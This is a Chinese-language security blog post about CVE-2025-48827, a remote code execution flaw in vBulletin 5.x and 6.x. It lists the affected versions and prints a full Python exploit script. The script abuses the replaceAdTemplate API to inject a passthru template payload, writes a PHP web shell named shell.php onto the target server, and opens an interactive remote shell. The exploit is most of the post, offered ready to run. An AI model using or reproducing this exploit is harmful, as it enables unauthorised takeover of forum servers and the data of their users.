CVE-2025-48827|vBulletin远程代码执行漏洞(POC)

CVE-2025-48827|vBulletin远程代码执行漏洞(POC)

alicy 信安百科 2025-06-07 10:50

0x00 前言

vBulletin是一个强大,灵活并可完全根据自己的需要定制的商业论坛程序(非开源),它使用PHP脚本语言编写,并且基于以高效和高速著称的数据库引擎MySQL。

0x01 漏洞描述

调用受保护的API控制器
replaceAdTemplat
执行未授权的操作,从而执行任意代码。

0x02 CVE编号

CVE-2025-48827

0x03 影响版本

5.0.0 <= vBulletin < 5.7.6

6.0.0 <= vBulletin < 6.0.4

0x04 漏洞详情

POC:

https://github.com/0xgh057r3c0n/CVE-2025-48827

#!/usr/bin/env python3
import requests
import sys
import urllib3
import re

# Suppress InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ANSI Colors
RED    = "\033[31m"
GREEN  = "\033[32m"
YELLOW = "\033[33m"
BLUE   = "\033[34m"
CYAN   = "\033[36m"
BOLD   = "\033[1m"
RESET  = "\033[0m"

def banner():
    print(CYAN + BOLD + r"""
      __________      .__  .__          __  .__      ___________________ _______>
___  _\______   \__ __|  | |  |   _____/  |_|__| ____\______   \_   ___ \\_   __>
\  \/ /|    |  _/  |  \  | |  | _/ __ \   __\  |/    \|       _/    \  \/ |    _>
 \   / |    |   \  |  /  |_|  |_\  ___/|  | |  |   |  \    |   \     \____|     >
  \_/  |______  /____/|____/____/\___  >__| |__|___|  /____|_  /\______  /______>
              \/                     \/             \/       \/        \/       >

                             vBulletin RCE - Web Shell Dropper by 0xgh057r3c0n
""" + RESET)

def usage(script):
    print(YELLOW + f"\nUsage:   python3 {script} <URL>")
    print(f"Example: python3 {script} http://target/vb/\n" + RESET)
    sys.exit(1)

def error_exit(msg):
    print(RED + f"[-] Error: {msg}\n" + RESET)
    sys.exit(1)

def info(msg):
    print(YELLOW + f"[!] {msg}" + RESET)

def success(msg):
    print(GREEN + f"[+] {msg}" + RESET)

def inject_rce_template(session, target):
    inject_data = {
        "routestring": "ajax/api/ad/replaceAdTemplate",
        "styleid": "1",
        "location": "rce",
        "template": '<vb:if condition=\'"passthru"($_POST["cmd"])\'> </vb:if>'
    }
    r = session.post(target, data=inject_data, verify=False)
    if r.text.strip() != "null":
        error_exit("Template injection failed.")
    success("RCE payload injected.")

def drop_shell(session, target):
    shell_code = '<?php if(isset($_GET["cmd"])){echo "<pre>"; system($_GET["cmd"]); echo "</pre>";} ?>'
    cmd = f"echo {shell_code!r} > shell.php"
    drop_data = {
        "routestring": "ajax/render/ad_rce",
        "styleid": "1",
        "location": "rce",
        "cmd": cmd
    }
    session.post(target, data=drop_data, verify=False)
    success(f"shell.php dropped at: {target}shell.php")
    info("Launch commands like:")
    print(f"    curl '{target}shell.php?cmd=whoami'\n")

def run_command(session, target, cmd):
    data = {
        "routestring": "ajax/render/ad_rce",
        "styleid": "1",
        "location": "rce",
        "cmd": cmd
    }
    r = session.post(target, data=data, verify=False)
    if r.status_code != 200:
        print(RED + f"[-] HTTP error: {r.status_code}" + RESET)
        return None

    # Always show full response for debug
    print(YELLOW + "[DEBUG] Full response:\n" + RESET + r.text)

    match = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)
    if match:
        return match.group(1).strip()
    else:
        return None

def interactive_shell(session, target):
    cwd = "."
    info("Entering interactive mode (type 'exit' to quit)")
    while True:
        try:
            user_input = input(f"{BOLD}{BLUE}(shell:{cwd})$ {RESET}").strip()
        except (KeyboardInterrupt, EOFError):
            print("\n" + YELLOW + "[!] Exiting interactive shell." + RESET)
            break

        if user_input.lower() == "exit":
            break

        if user_input.startswith("cd "):
            path = user_input[3:].strip()
            cmd = f"cd {cwd} && cd {path} && pwd"
            output = run_command(session, target, cmd)
            if output:
                cwd = output
            else:
                print(RED + "[-] Directory change failed." + RESET)
            continue

        cmd = f"cd {cwd} && {user_input}"
        output = run_command(session, target, cmd)
        if output:
            print(GREEN + output + RESET)
        else:
            print(RED + "[-] No output or command failed." + RESET)

def main():
    banner()

    if len(sys.argv) != 2:
        usage(sys.argv[0])

    target = sys.argv[1].rstrip('/') + '/'

    session = requests.Session()

    try:
        inject_rce_template(session, target)
        drop_shell(session, target)
        interactive_shell(session, target)
    except requests.exceptions.RequestException as e:
        error_exit(f"Request error: {e}")

if __name__ == "__main__":
    main()

0x05 参考链接

https://kevintel.com/CVE-2025-48827

https://github.com/0xgh057r3c0n/CVE-2025-48827

推荐阅读:

CVE-2025-22252|FortiOS TACACS+身份认证绕过漏洞

CVE-2025-31324|SAP Netweaver代码执行漏洞(POC)

CVE-2025-2825|CrushFTP身份验证绕过漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持

!!!

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。